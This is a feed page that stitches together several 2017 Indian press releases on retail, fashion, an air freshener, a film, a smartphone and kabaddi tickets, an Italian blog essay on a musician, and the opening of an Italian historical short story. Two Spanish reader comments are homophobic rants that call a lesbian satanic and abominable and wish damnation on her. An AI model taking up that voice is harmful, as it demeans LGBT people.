Skillsoft will embed MIT SMR content within its core Business and video collections, and integrate content within its existing Leadership offerings, like Skillsoft Leadership Advantage, Continuous Leadership Journey and Women-in-Action. The partnership between Skillsoft and MIT SMR will provide organizations with engaging, on-demand corporate learning content that will groom, train and inspire management teams through a consumer-like interface (think Netflix or Amazon) that is designed to engage the learner.

“We see a growing need for effective leadership training to address critical skill gaps in today’s organizations and help increase an organization’s ability to develop talent from within,” said Paul Michelman at MIT SMR. “This partnership gives our content a new vehicle for delivery within those organizations that believe training their internal talent is paramount to creating a competitive edge.”

MIT Sloan Management Review is a pre-eminent platform and content leader that bridges the gap between academic research and daily practice. The Review keeps readers in tune with management trends and innovations. MIT SMR articles cover a wide range of topics relevant to management with a focus on areas such as Data & Analytics, Digital, Global, Innovation, Leadership, Marketing, Operations, Social Business, Strategies and Sustainability. For decades, MIT SMR has been a forum for business-management innovators from around the world to present their ideas and research.

About Skillsoft : Skillsoft is the global leader in corporate learning, providing the most engaging learner experience and high-quality content. We are trusted by the world's leading organizations, including 65 percent of the Fortune 500. Our mission is to build beautiful technology and engaging content that drives business impact for today’s modern enterprise. Our 150,000+ multi-modal courses, videos, books and micro-learning modules are accessed more than 130 million times every month, in 160 countries and 29 languages. With 100% secure cloud access, from any device, whenever, wherever. www.skillsoft.com

          SSB Retail India launches two more Specialty Malls        

by Shrutee K/DNS
Hyderabad, 4th August 2017: SSB Group is a leading structural galvanizing company which is in a retail sector mall in Hyderabad.

The SSB World Shopping Mall has come up with a two brand ‘Alpine’- the supermarket and ‘Casabene’- the furniture mall. Casabene has its branches in Kolkata, Hyderabad and is now launching 2 more new branches in Hyderabad.

The company has diversified into retailing. The 3rd retailing space at Chakripuram  is 7000 sq. ft which has a combination of Alpine Super Market & Casabene Furnitures. The 4th retailing space at North Kamalanager ECIL is 2000 sq. ft which also has a combination of Alpine Super Market & Casabene Furnitures.
The retail industry is very competitive; in order to give extra mileage SSB is having its own manufacturing facilities. They believe in delivering excellent quality products with customer satisfaction. The Chief Guest for the event will be honourable Smt. Pajjuri Pavani Manipal Reddy (Corporator) for A S Rao Nagar Division, SSB Directors - Y Sharath Babu & Ajay Kumar Singh and Chairman - Ramakanth Singh. Mr Ajay Kumar Singh & Mr Sarath Babu - Directors, of SSB believes in giving good lifestyle supplies at competitive prices.
 
The retailing product will be: Supermarket/Furniture/Home Décor/Home Accessories/Home related products

USP: Exclusively designed/Concept selling/Manufacturing Quality Products/Craftsman and Finishing/Free interior advice/Large collection under one roof

The business plan is to diversify and open 10 Branches of Alpine Super Market & Casabene Furniture in the twin cities.

About SSB: SSB is a Turkey service provider, established in August 2013, SSB Structural and Galvanizing Pvt Ltd is an enterprise by two pragmatic visionaries. As an emerging sector, it is present in telecom, power, heavy and general fabrication and infrastructure. It was able to export structural material in the second year of inception. The company has a turnover of 50 crores and it will have 100 crores of turn over year.

          Wrangler Celebrates 70th anniversary with its Autumn Winter’17 Collection        

by Shrutee K/DNS


This year, Wrangler celebrates its 70th anniversary of producing perennial fashions with a global advertising campaign and a fresh anniversary collection, influenced by their iconic, revolutionary denim and authentic retro looks that took the 1970s by storm.

Wrangler was the definitive denim brand for teenagers back in this style-setting decade, and the anniversary collection has been artfully inspired by the brand’s notable archive finds: reinventing the most popular ’70s styles for today’s spirited youth with a passion for life and all of its adventures.
Trademark Wrangler basics are back and better than ever, as the label taps into’70s imagery for inspiration and relaunch the timeless vintage logo. The collection includes bold, colourful t-shirts featuring variations of the iconic ’70s Wrangler rainbow graphic, and signature staples in vibrant hues with retro seventies cuts. The rainbow symbolises confidence, exuberance and freedom: traits that are intrinsic to the Wrangler’s brand’s persona. Denim comes in authentic stone washes and brighter shades of blue.  Wrangler continues to be renowned and praised for being inspiring, progressive and always in tune with the ever-changing needs of its fashion-forward customers.
 Price Details: Tees: Rs.995/- Onwards & Denims: Rs.2995/- Onwards

Availability: Across all Wrangler stores in India.

About Wrangler
The heritage of Wrangler goes back literally 70 years when the brand first made an appearance. Wrangler was the first modern five-pocket jeans to be test-fitted and endorsed by real-life cowboys. Since then, Wrangler continues to inspire freedom, independence and self-reliance in its wearers.

The brand in India has come a long way, evolving to meet the needs of the ‘urban cowboy’ with a range of fashion apparel that is contemporary, fashionable yet rugged. 

A part of VF Corporation - the world's largest apparel company, Wrangler has found a loyal consumer base in the Indian youth that swear by this unique fashion brand. This stylish denim brand is available at exclusive standalone stores, leading apparel stores and major department stores Log on to wrangler-ap.com/in.

          Ambi Pur’s New TVC Focuses on Refreshing Monsoons        
Shrutee K/DNS

Mumbai, August 4, 2017:-Ambi Pur’s Smelly to Smiley campaigns have always challenged and conquered the toughest and most pungent odours in a real time set up with live experiments. The third edition of the Smelly to Smiley campaign focuses on yet another very relevant odour issue that most have us have encountered – the problem of the lingering monsoon odour that plagues all Indian households during the season. While monsoons have always stood for happy, fun times, growing up brings us face-to-face with monsoon-related issues. Akin to the advertisement format that has become synonymous to Ambi Pur, the new TVC is a real-life experiment at a real consumer’s home, where a unique sensorial challenge is conducted. After all, how often would you come across people with blind folds and pegs on their noses?

This interesting play on the senses reveals that a home, which may look immaculately clean, may, in reality, be perceived as unclean because it is doused with the damp monsoon odour. This TVC, conceptualized by Grey Group, features Brand Ambassador Boman Irani who presents a reality check in context to the damp, lingering odours that specially torment during monsoons. Launching nationally on August 03, the TVC positions the New and Improved Ambi Pur, with odour-clear technology, as the perfect solution to restore freshness to your favorite season. 

The recently released findings from a survey conducted by AC Nielsen, commissioned by Ambi Pur, unearthed the extent of suffering that these damp, musty odours impose on all of us. In fact, 9 out of every 10* women felt that monsoons bring issues within the household such as drying clothes inside, that lead to a musty damp odour.
 
Nidhish Garg, Brand Manager, P&G Home Care India, comments: “To drive awareness regarding the New & Improved Ambi Pur with patented odour-clear technology, we have launched the 3rdleg of the very popular Smelly to Smiley campaign. The brand stays with its ideology of putting the product to torture tests against relevant odour issues, and this time we take on the musty odour that all Indians face during monsoons. The TVC captures live reaction of a consumer who experiences the monsoon odour when visiting a friend’s home that looks perfectly clean. The same consumer sees Ambi Pur in action and how it completely eliminates the monsoon odour as opposed to temporarily concealing it with a fragrance. This format of communicating with our consumers through live experiments helps in building brand salience and credibility.”
 

Ambi Pur’s Brand Ambassador, Boman Irani further adds, “Monsoon is my favourite season but we all know the challenges that come with it, right from drying clothes inside to the rigorous cleaning regime. The new TVC shows that the house that looks clean may not actually smell clean due to the overwhelming moisture-heavy air giving out a feeling of lack of hygiene. It is always fun shooting for Ambi Pur ads, as well as extremely reassuring to witness the brand live up to toughest home odours in live experiments, year on year! This time too, Ambi Pur in its new avatar, truly eliminated the musty monsoon odour. So, it’s time to stop being enslaved by this moldy smell and refresh your monsoons with Ambi Pur.”

The New & Improved Ambi Pur uses a distinct formulation that focuses on odour removal, not just on emitting the fragrance. P&G has created a trademarked ‘Odour-clear technology’, which has been brought to India in July. The new technology fights odour at a molecular level, neutralizing it completely, and leaving behind a subtle fragrance, thus truly eliminating all tough odours.

All Ambi Pur fragrances, including the newly launched Sandalwood fragrance, are available across stores at a price of Rs. 299.

Agency Credits:
Lead Creative Agency: GREY Düsseldorf
Local Support: GREY Mumbai
Production House: Casta Diva Pictures, Mumbai

About Procter & Gamble
P&G serves consumers in India with one of the strongest portfolios of trusted, quality, leadership brands, including Vicks ®, Ariel®, Tide®, Whisper®, Olay®, Gillette®, AmbiPur®, Pampers®, Pantene®, Oral-B®, Head & Shoulders® and Old Spice®. P&G operates through 3 entities in India of which 2 are listed on NSE & BSE. The listed P&G entities are: ‘Procter & Gamble Hygiene & Health Care Limited’ and ‘Gillette India Limited’, whereas the unlisted entity (which is a 100% subsidiary of the parent company in the U.S) operates by the name ‘Procter & Gamble Home Products Private Ltd.’ In the last 12 years, P&G’s signature CSR program P&G Shiksha has built and supported 1000 schools that will impact the lives of 10,00,000 underprivileged children across the country by providing them with access to education. Please visit http://www.pg-India.com for the latest news and in-depth information about P&G India and its brands.

          Director, Sandeep Mohan & Tiranga Productions to release “Shreelancer” on 18th August         

Based on the story of a freelancer, the feature film is an adaptation of the people who are self-employed

by Shrutee K/DNS 

Director Sandeep Mohan’s next release, “Shreelancer” is a feature film starring Arjun Radhakrishnan (an actor known for his film “A White Feather”) in the lead along with a veteran theater artist Salmin Sheriff and Monica Mahendru. The film is produced by Giju John – Tiranga Productions Pvt. Ltd. and Sandeep Mohan and slated to hit the screens on 18th August 2017.

Official Trailer Link - https://youtu.be/VkM2WWU5kyY

The film has background score by Vivek Philip and features songs by Ankur Tewari, Prateek Kuhad, Andrew Sloman and Natalie Matos. The film features one of the popular Indie song, "Dil Beparvah" by Ankur Tewari and Prateek Kuhad. The film is looking to be one of the best adaptation of the people who are self-employed.

Shreelancer, a 98-minute feature film is the contemporary take on the life of a freelancer in today’s India. Shreelancer follows Arjun Radhakrishnan (Shree), a Bangalore based mid 20's freelance copywriter who is battling with nagging self-doubts about his artistic abilities. Shree belongs to a Maharashtrian family from Belgaum. He does ads for small time ad agencies, but is quite frustrated that the world doesn't seem to understand or respect freelancers. Unable to concentrate at home, he visits various cafes to find his peace and works from there. Addicted to his cellphone and the social media, Shree's worldview is shaped by what he reads online, not having traveled much in the "real" world. As fate would have it, Shree gets an invitation to attend an all-expenses paid trip to a college friend's wedding. And life as he knows it will never be the same again for Shree. The film highlights the journey of a freelancer, despite having a flexible schedule, they work on deadlines, love to take up all jobs and seldom say “No” to any assignment.

Shreelancer had its World Film Festival Premiere at the prestigious New York Indian Film Festival (NYIFF) in May 2017 where it was nominated in the best screenplay category. The film will next screen at the Blue Whiskey International Film Festival on the 8th August 2017 where it has been selected in the competition category. Apart from this, Sandeep Mohan has conducted 30 screenings at spaces like Cafes, Pubs, Office Spaces, Coworker Spaces, Colleges, Homes, Art Galleries, etc. and convert them into

mini-theatres for the duration of the film. Sandeep conducts this screening under what he calls the "The Great Indian Travelling Cinema" experiment.


          Swipe launches KONNECT at Rs. 4,999 Exclusively on Snapdeal        

by Shrutee K/DNS 

India, 4th August 2017: Swipe Technologies, India’s leading mobile internet technology company, is all set to unveil brand new member in its popular KONNECT Series - Swipe KONNECT Power.  The slim and sturdy smartphone sports 5” HD IPS display and boasts enormous 3000 mAh battery.  The compelling feature rich Swipe KONNECT Power is competitively priced at Rs. 4,999 only. It will be available exclusively on Snapdeal from 7th August 2017.

Swipe KONNECT Power is driven by a powerful 1.5GHz quad core processor that runs on Android 6.0 OS for lag-free multi-tasking smartphone experience. It comes with 2 GB RAM plus 16 GB internal memory, expandable up to 32 GB and OTG support enhances the storage options. The new 4G VoLTE-ready KONNECT Power features 5” HD IPS display that allows users to enjoy cleaner & sharper visuals at the highest resolution. Besides, this device has a very sleek body that makes the phone very stylish in its looks. That’s not all. For the photography enthusiast, KONNECT Power comes with 8MP Rear Camera and 5MP Front Camera. The camera app also comes with lots of features to enhance the photography. The new phone gives an extended company to the user with its 3000 mAh battery, which is installed keeping in mind the daily lifestyle and usage patterns of young smartphone users.  Commenting on the launch of KONNECT Power, Mr. Shripal Gandhi, Founder and CEO of Swipe Technologies said: “Fulfilling aspirations of demanding Indians at affordable price is what differentiates Swipe from other smartphone players.  Our latest creation is yet another affordable device under the KONNECT series – KONNECT Power. It is designed for the aspiring youth of the country who requires long lasting battery that too with 2GB RAM yet the phone is light on pocket.”
Vishal Chadha, Sr.Vice President – Business said: “As part of our commitment to the vision of Digital India, we are keen to bring our consumers access to compelling technology products at great value. With Swipe Konnect Power, we are confident that this newest exclusive addition to our smartphone assortment will be well received by our customers”
Swipe KONNECT Power comes with a gorgeous design, and it has a smoother touch experience as well as comfortable grip. Customers will be able to enjoy a greater multimedia experience, as they can capture stunning photos and videos in virtually any lighting condition.
About Swipe Technologies:
Swipe Technologies is an innovation-centric mobility solutions company, having started its operations in July 2012. Within a short span of time, Swipe has become the leading tablet and Smartphone maker in India.   Swipe was started with an aim to bring exciting devices in the growing Indian market and today, it is the leading consumer brand with key innovations across products, pricing and customer support. Founded by technocrat Mr. Shripal Gandhi, Swipe raised $5 million in May 2014 from the Venture Capital firm Kalaari Capital. In the last three years, Swipe has won a number of accolades including the “Top 50 Inspiring Entrepreneurs of India” by The Economic Times, the “Most Innovation-driven Company in India” by World Brand Congress, and the “Most Innovative Start-up” by Franchise India, the “Best Integrated Campaign” by the World Brand and Congress& the “Best Youth Brand Tablet” by CNBC. Also, Swipe’s young founder Mr. Shripal Gandhi has been recognized as the “CNBC Young Turks” for his breakthrough strategies and innovation in the field of mobile communication technologies. For details, logon to www.justswipe.com

          U Mumba announces sale of tickets for Home Leg of Season 5 of VIVO Pro Kabaddi League         
by Shrutee K/DNS

Mumbai: Hosting their home leg at the Dome @ National Sports Club of India (NSCI), SVP stadium in Mumbai between the 25th and 31st of August 2017, U Mumba announced the start of their sale for tickets and offers on ticketing partner websites paytm.com and insider.in. The home leg will be the fifth of VIVO Pro Kabaddi League, that will extend into the last week of October.  

The VVIP tickets are priced at INR 7,000, while the VIP tickets are priced at INR 5,500. Both the VVIP and VIP tickets include refreshments and the seating surrounds the playing area.

In the General Stand, tickets for Section 2 are available at INR 1,000 and Section 3 and INR 800. U Mumba fans have a lot to cheer about with the team reducing prices of tickets in the General Stands by 25%.

With tickets now available for sale online, fans can avail attractive discounts on Season Passes, Weekend Passes and Weekday Passes.

Season Passes (for all 6 match days) and Weekday Passes (for games on Tuesday, Wednesday and Thursday) are available at a 25% discount.

The Weekend Pass (for games on Friday, Saturday and Sunday) are available at 10% discount.
In an offer exclusive to the student community, students aged under 21 years, are entitled to a 35% discount on Section 3 tickets. These can be purchased online and collected at the Box-Office on displaying their Student ID.
NSCI members can avail a special discount of 10% at the Box Office by displaying their membership cards.
“With 6 games, we’ll have an entire week of Kabaddi in Mumbai city and this is a real treat for our fans, especially given the exciting line-up of matches scheduled. Further, with the Ganesh Festival coinciding with our home leg, we look forward to celebrating the festival together with all our fans,” commented U Sports CEO Supratik Sen.

The Dome @ NSCI, SVP stadium will play host to the extended league for 6 days this season with U Mumba taking on the Jaipur Pink Panthers in the first encounter followed by the Maharashtra Derby on the second night with their weekend ending with a match against Dabang Delhi. Post their Rest Day on Monday, U Mumba will face debutants Gujarat Fortunegiants and Haryana Steelers on Tuesday and Wednesday respectively and close their home leg with a match against the Jaipur Pink Panthers again.

All matches start at 8:00 PM and Gates Open at 6:00 PM on match days.


          Comment on Roasted Beets by Beet Hummus – Kenan and Kale        
[…] oz can chickpeas, drained and rinsed 2-3 small roasted beets (how-to for roasting, here!) 1/4 cup walnuts 1/4 cup olive oil 1 tbsp tahini 1 large garlic clove juice from 1/2 lemon zest […]
          ah si yo te recomiendo que abras tu biblia eres ...        
ah si yo te recomiendo que abras tu biblia eres un demonio y claro que no te gusta pues tu eres uno de esos torcidos y no hable por ti tu ya estas muerto o muerta en vida eres complice de esto y eres parte de esto ya tienes tu maldicion en tu cabeza y modernida es obia ah y diles a los de sudoma y gomorra si tu mundo moderno los puede salvar y si somos de tepa si creemos en dios y tenemos temor y la moral la tenemos muy alta claro que tu deves de ser de algun pueblito en donde esto es normal aqui no y tu mundo se parese mucho al de sodoma y gomorra si el infierno te espera por moderna o si telo mereses ah y tu estudio no te sirve de nada mas bien te condena y te da maldicion bien meresido lo tienes uf eh dicho de todos modos digo yo te ato y te espulso fuera en Santo nombre de Joshua cual nombre es poderoso y el nombre que dado sobre todo nombre asi que estas fuera asi por complicidad y tu modernidad y tu mala inclinacion ahhh
          Ah Claro que lo inrespetuoso de esta lesbiana en d...        
Ah Claro que lo inrespetuoso de esta lesbiana en donde cabe minimo cuando una persona biene a tu casa o ciudad ay que respetarla y si esta con el mensaje que es bueno ay que escucharlo ah y yo no los conosco a estos diplomaticos y no soy de ningun closed yo si se como me llamo y como me apeido y tan bien tengo el conocimiento dela palabra de dios y dios dice que es abominable eso es asi con pruebas y no soy un militante de estos pero soy de tepa y aqui en tepa no queremos esto tepa es una ciudad santuario y no debemos admitirlo esto es satanico y no queremos esto por que es una degradacion del ser humano los que se quieran condenar pues condenesen ustedes pero fuera de nuestra ciudad y aqui sus porquerias no las queremos ni sus maldiciones que atraen y lo malo es malo que quede claro es abominacio alos ojos de dios por lo tanto estan fuera Y que Elogin que esta viendo esto sea quien aga justicia ah y estos traen maldicion alos pueblos tepa es y sera ciudad de justos no de pecadores o satanicos basado en verdad el cielo o el infierno asi es esto los dos caminos estan puestos si tienen preguntas pues preguntenme para ayudarlos abran los ojos y quiten la venda del pecado y la falta de sabiduria sean libres de verdad la palabra de dios los ara libres si senor
          Gli infiniti possibili di Giorgio Sollazzi, musicista        
All'epoca ero molto ingenuo e molto presuntuoso e pensavo di poter scrivere “recensioni” di grandi opere musicali del passato. Le pubblicavo su un sito commerciale (che esiste ancora oggi). Quando mi venivano bene, erano “schede" molto pedantesche, contenenti le stesse informazioni che si possono trovare su una qualsiasi garzantina. Infatti, qualche anno dopo, quando Wikipedia arrivò in Italia, smisi di farmi sfruttare dal sito commerciale e trovai quella che probabilmente è la mia vera vocazione internettiana.

Ad ogni modo fu sul sito commerciale che conobbi Giorgio Sollazzi. Anche lui scriveva recensioni. Con la prima, importante differenza che lui è musicista, e quindi sa di cosa scrive, e con una seconda differenza: le sue recensioni erano avvincenti, estrose, godibilissime, anche e soprattutto quando sembrava che non avessero nulla a che fare col brano musicale che - in teoria - ne costituiva l'oggetto. Le recensioni di Giorgio non parlavano precisamente né del brano musicale “in sé”, né della sua ricezione da parte dell'ascoltatore-recensore. Si situavano, piuttosto, in qualche punto lungo la relazione fra questi due elementi, come un acrobata in equilibrio su un filo, o come uno dei fuochi di due specchi parabolici contrapposti. Non per niente “mirrors” (con la m minuscola) era il nickname che Giorgio si era scelto.

A un certo punto Giorgio uscì dal sito e cancellò il suo account. Dev'essere per questo che, cercando ora qualcuna delle meravigliose recensioni di mirrors, non ne trovo nessuna. Qualche tempo dopo si iscrisse nuovamente con un altro nickname e cominciò a pubblicare recensioni di forma più tradizionale, ma sempre molto belle, come ad esempio questa, sulla settima di Beethoven.

L'interpretazione verbale di un brano musicale è sempre un grosso azzardo. "Scrivere di musica è come ballare di architettura", diceva Frank Zappa. Le descrizioni che amo di più sono quelle di musiche inesistenti, come la sonata di Vinteuil in Proust o le composizioni immaginate da Thomas Mann nel Doktor Faustus. Proust mescolava genialmente le carte, inventandosi una sonata per violino e pianoforte che prendeva un po' dalla Sonata in re minore di César Franck, un po' da un quintetto di Saint-Saëns, senza essere né l'una né l'altro; in piena coerenza, d'altronde, con la sua estetica, dove non esistono "descrizioni" "realistiche" del "mondo esterno". Quanto a Mann, Arnold Schönberg s'inalberò quando seppe che la sua musica aveva ispirato quella del romanzo, al punto da pretendere una smentita da parte dello scrittore. E dal suo punto di vista Schönberg aveva anche ragione, in quanto Mann interpretava la dodecafonia come un fenomeno di dissoluzione morale, che era quanto di più lontano dagli intenti del severo musicista.

Ma anche divagare è un'arte, che a me non riesce: ci provo inutilmente, per poi subito ricadere nel mio solito modo di scrivere pedestre e nozionistico. Dunque, meglio rimanere on topic e parlare di Giorgio Sollazzi. Ecco: quando lo conobbi, non attraversavo quello che si dice un buon periodo. Mi ero laureato, avevo fatto il servizio civile, abitavo a casa dei miei in provincia, lontanissimo dall'università e dai miei amici di laggiù. Gli altri miei amici, quelli del liceo, erano sparsi in giro per l'Italia. Facevo pratica in uno studio legale. Ero, in sostanza, disoccupato, e mi sentivo terribilmente solo e senza prospettive. L'amicizia epistolare con Giorgio mi aiutò a tenermi in piedi. Ci scambiavamo commenti e messaggi sul sito commerciale (che fungeva anche un po' da social network), email, ma anche lettere cartacee: ricordo un plico meraviglioso che egli mi spedì con un CD che aveva masterizzato per me. Dentro c'erano un brano di Stockhausen, Il canto sospeso di Nono, un coro dal Trovatore, e non ricordo cos'altro.

A quel tempo Internet non aveva ancora stravolto la distribuzione della musica. C'era Napster, ma con le connessioni lente di allora non è che si riuscisse a scaricare granché. Per ascoltare musica bisognava ancora affidarsi alla radio, oppure ordinare il disco al negozio e aspettare che arrivasse. C'era poi una circolazione semiclandestina di audiocassette duplicate artigianalmente, che passavano di mano in mano come samizdat. Tutta una dimensione romantica, di scoperta, che si è persa dal momento in cui è bastato digitare un nome su un motore di ricerca per avere subito a disposizione l'intera produzione di qualsiasi musicista antico o contemporaneo.

Poco tempo fa ho chiesto a Giorgio se, come musicista, non si sentisse stimolato da questa odierna vasta disponibilità di musiche, e come mai ciò non lo inducesse a scrivere in una tale, enorme varietà di stili e di linguaggi: oggi un brano dodecafonico, domani uno pop, dopodomani uno free jazz, e via dicendo. Non ricordo esattamente il tenore della mia domanda - che comunque era piuttosto stupida, si capisce. Ricordo invece perfettamente la replica di Giorgio: fare come gli suggerivo io - mi ha risposto - avrebbe forse aumentato il suo tasso di libertà ma avrebbe diminuito il tasso di scelta.

In uno dei suoi romanzi, Nicola Lagioia offre alcune riflessioni molto interessanti a proposito del ritrovare sui social network i propri amici di gioventù. Queste amicizie del mondo reale divenute poi virtuali - osserva Lagioia - hanno una strana consistenza umbratile. Simile a quella degli spiriti nell'undicesimo libro dell'Odissea (o nel sesto dell'Eneide), aggiungerei io. Colpa del mezzo, evidentemente, e non dell'amicizia in sé - ma questo è un altro discorso.

Conosco Giorgio da sedici anni e non ci siamo mai incontrati di persona: solo via Internet, e qualche volta per telefono. Però non ho mai avvertito come un limite la virtualità della nostra amicizia. Forse perché nel suo caso manca il confronto con l'immagine mnemonica della persona reale, o forse per il felice paradosso che Giorgio riesce a realizzare nelle sue comunicazioni virtuali, allo stesso tempo lievi e intense.

Sto pensando che “lieve” e “intenso” potrebbero essere i due primi aggettivi che mi vengono in mente ascoltando la musica di Giorgio. Mi rendo conto che come contributo critico è parecchio inadeguato, ma ho già detto che non sono del mestiere. Giorgio ha esposto la sua poetica (o almeno, una delle sue poetiche) in uno scritto che potete trovare qui.

In questo saggio, Giorgio prende le mosse dal personaggio di Amleto (con annesso spettro del re di Danimarca?) per proporre una sua complessa concezione della composizione, come “apparizione” o “evocazione” di “potenziali”. 

Shakespeare era un altro interesse che ci univa quando scrivevamo sul sito commerciale. Giorgio ha molto riflettuto, e qualcosa ha anche scritto, sia in prosa sia in musica, sulla figura di Amleto.


Quanto a me, partendo dalla constatazione che su Internet in italiano c'era ancora poco materiale sull'argomento, mi ero messo in testa di compilare e mettere on line una "recensione" per ciascuno dei drammi del Bardo. Tanto ero sprovveduto, a quell'epoca.

Più tardi abbandonai l'insano progetto, assieme alle mie velleità di anglista, e praticamente smisi di leggere Shakespeare. Oggi amo recarmi, di quando in quando, a visitare l'abbazia cistercense di Morimondo. Questo non c'entra nulla con quanto ho detto finora. Però nell'abbazia c'è un bel coro ligneo di epoca rinascimentale.

Ogni volta che lo vedo recito mentalmente la prima quartina del Sonetto LXXIII.

La migliore traduzione italiana è quella di Ungaretti:

"Quel tempo in me vedere puoi dell'anno
Quando già niuna foglia, o rara gialla in sospeso, rimane
Ai rami che affrontando il freddo tremano,
Cori spogliati rovinati dove gli uccelli cantarono, dolci".

Di solito i commentatori sottolineano il senso di desolazione che promana da quei bare ruin'd choirs, vuoti, semidistrutti e muti. Sta di fatto che Shakespeare, mentre ce li descrive, riesce in qualche modo a farcene riascoltare il suono. Forse questa è una delle cose che il poeta vuole dirci: la memoria, aiutata dall'arte, può riuscire ad evocare la musica di un coro assente.














          Tifiamo Scaramouche!        
Tifiamo Scaramouche è una raccolta di racconti in quattro volumi che possono essere scaricati liberamente in formato PDF dal sito dei Wu Ming. Si tratta di una fan fiction derivante da L'armata dei sonnambuli, l'ultimo romanzo storico del collettivo uscito nel 2014.

A curare la raccolta è stato Simone Scaffidi L. Da un'idea di: Pietro Pace, Mauro Vanetti e Alessandro Villari (Avvocato Laser). Il progetto grafico e l'impaginazione si devono a Franco Berteni (Mr Mill) e Simone Scaffidi L. La copertina e le illustrazioni sono di Alessandro Caligaris e Francesca Sibona.

Qui di seguito, ecco il mio contributo, pubblicato nel terzo volume della raccolta. Buona lettura.


Il flauto tradito
Parigi, 1801

1.

A suo modo, Ludwig Wenzel Lachnith era un uomo generoso. La sera del 20 agosto 1801, dopo la trionfale prima della sua opera I misteri d'Iside al Teatro della Repubblica, il compositore offrì la cena all'intera troupe, comparse e suggeritore compresi.
Benché relegate al tavolo meno prestigioso dell'ampia sala del ristorante, le due comparse Léo Modonnet e Emanuele Gizzio potevano udire facilmente i discorsi del tavolo principale, quello dove sedeva Lachnith assieme al manager del teatro, al librettista Étienne Morel de Chédeville e ai cantanti protagonisti. Per meglio dire, potevano udire il monologo del torrenziale musicista boemo, la cui voce sopravanzava quelle di tutti gli altri.
«Eh sì, caro Chédeville! Il buon Mozart aveva del talento, questo nessuno lo vorrà negare; ma aveva anche un'esecrabile tendenza al lambiccato, all'insolito... In una parola: troppa complicazione! Oggigiorno il pubblico non ne vuole sapere di una musica che sia troppo difficile. La gente vuole ariette semplici, presentate con garbo, che tocchino il cuore senza affaticare il cervello. Prendete il Don Giovanni: quante graziose melodie! Parola mia, credo che abbiamo fatto bene a prenderne una in prestito, per il nostro terzetto. Tuttavia, andiamo... La scena con la statua nel finale secondo... Chi può sopportare una tale rombante cacofonia? Pensate solo questo: in quattro battute, quel povero basso deve cantare tutte e dodici le note della scala cromatica. Sapete? Un mio amico italiano, galantuomo e compositore eminente, mi parlava tempo fa con orrore di un certo quartetto per archi, dove Mozart ha accumulato tante di quelle dissonanze da creare un ripugnante caos, direi quasi un giacobinismo sonoro, dove va completamente perso ogni giusto criterio di gerarchia tra le sette note... Di proposito dico sette, non dodici; giacché nessuno, a meno che il suo orecchio non sia guastato dalla musica per tastiera, crederà mai che un re diesis possa essere uguale a un mi bemolle... Anzi: un re è sempre un re, come dicono in Italia, non è vero?».
«Ma va' curcati, buffuni!» commentò Gizzio a mezza voce.
«Perciò, quando mi fu proposto di allestire per le nostre scene Il Flauto magico, la prima cosa che pensai fu: sta bene; ma, per carità, sfrondiamo! Semplifichiamo!
Smussiamo le asperità del testo! Rendiamo il tutto più comprensibile, più adatto alle orecchie del nostro pubblico. Più elegante, anche. E l'esito così radioso di questa serata ha dimostrato che avevamo avuto pienamente ragione. Prima di tutto: i nomi. Tutti quei Tamino, Papageno e Papagena del testo originale, così goffi e plebei, noi li abbiamo cambiati nei molto più raffinati Isménor, Bochoris e Mona...».
Modonnet rise.
«Non voglio parlare della parte musicale. Ho dovuto lavorare parecchio di forbici e d'ingegno per dare una veste accettabile alla barbarica partitura. Ma, per quanto riguarda il vostro lavoro, Chédeville, potete andare orgoglioso di avere addolcito il carattere di quella terribile regina della notte. Certo, l'aria del secondo atto l'abbiamo dovuta proprio espungere: a parte che è impossibile da cantare, ma quel testo “der hölle Rache kocht in meinem Herzen...”, “vendetta infernale sento nel mio petto”... Ahimè! Una gentile e amabile donzella come voi, signorina Maillard, avrebbe dovuto intonare tali parole? Per carità! Abbiamo già sofferto abbastanza, qualche anno fa, con quella spaventosa Medea di Cherubini. Basta, basta! I personaggi femminili, a teatro, devono rassicurare, non inquietare! Belle fanciulle, mogli e madri esemplari: questo vuole il nostro distinto pubblico. Perché la gente, la sera, vuole distrarsi dai traffici quotidiani del commercio e della Borsa, e trovare sollievo dalle cure dello Stato. Dirò di più: nell'epoca moderna la gente vuole vivere il proprio tempo come un affascinante, mutevole, infinito spettacolo. In una parola, vuole divertirsi. Il nostro compito è di farli divertire. E questa sera ci siamo riusciti; possiamo affermarlo con fierezza. Brindiamo!».

2.

Erano passate le quattro del mattino quando Modonnet e Gizzio ritornavano al foborgo Sant'Antonio. Davanti alle botteghe dei fornai c'erano già le prime code. I volti e i discorsi delle persone in fila per il pane manifestavano stanchezza, frustrazione, rabbia.
«Quattordici soldi per quattro libbre di pane! Così non si può andare avanti».
«Uno schifo, altro che!».
«Bonaparte non sta facendo un cazzo».
«Sbagli, cittadina. Bonaparte sta facendo parecchio. Solo, non per noialtri».
«Per i grandi proprietari. Per i nobili, gli speculatori, i fornitori dell'esercito e i finanzieri. Per quei merdosi, ecco per chi sta lavorando il Primo console...».
Gizzio sembrava ancora più taciturno del solito. Per tutto il cammino dal centro al foborgo, dove lui e Modonnet abitavano, disse a malapena due parole, eccettuate le strane bestemmie che ogni tanto sputava tra i denti.
«Toglimi una curiosità» gli chiese alla fine Modonnet mentre stavano per arrivare a casa. «Al tuo paese è normale invocare con tanta frequenza la ghigliottina su Gesù Cristo, sulla Madonna e su tutti i santi, come fai tu?».
Gizzio rise amaramente: «Lo facciamo di continuo. Tutti, anche i bambini e i preti. Vieni a vivere un mese dalle mie parti, e capirai».
«Non mi ricordo mai come si chiama la tua città».
«Io stesso vorrei non ricordarmene. Comunque, non è una città: è un villaggio di poche anime sperduto nell'Aspromonte. Ammesso che esista ancora. Non ho sue notizie da due anni, cioè da quando sono venuto qui a Parigi».
Era il discorso più lungo che Modonnet gli avesse mai udito fare.
«Ma no» proseguì Gizzio, come parlando fra sé. «Giudico troppo severamente i miei compaesani. In fondo, nessuno di loro si è arruolato nell'Armata cristiana e reale». Gizzio pronunciò queste ultime parole con una smorfia di disgusto.
«Ne ho sentito parlare» commentò Modonnet. «Le bande del cardinale Ruffo, non è vero? Una specie di Vandea...».
«Molto peggio. I vandeani, almeno, sapevano per cosa combattevano; i sanfedisti invece si sono solo fatti affascinare dai feudatari e dai preti. Hanno avuto quello che si meritavano. Li aspettano altri due o tre secoli di dispotismo e di miseria. E ti dico la verità: penso che anche qui, in Francia, andrà a finire allo stesso modo. Te lo concedo: finora il popolo di Parigi si è comportato bene, specialmente i tuoi compagni del foborgo Sant'Antonio. Ma quanto ancora potranno resistere? I contadini francesi non sono affatto
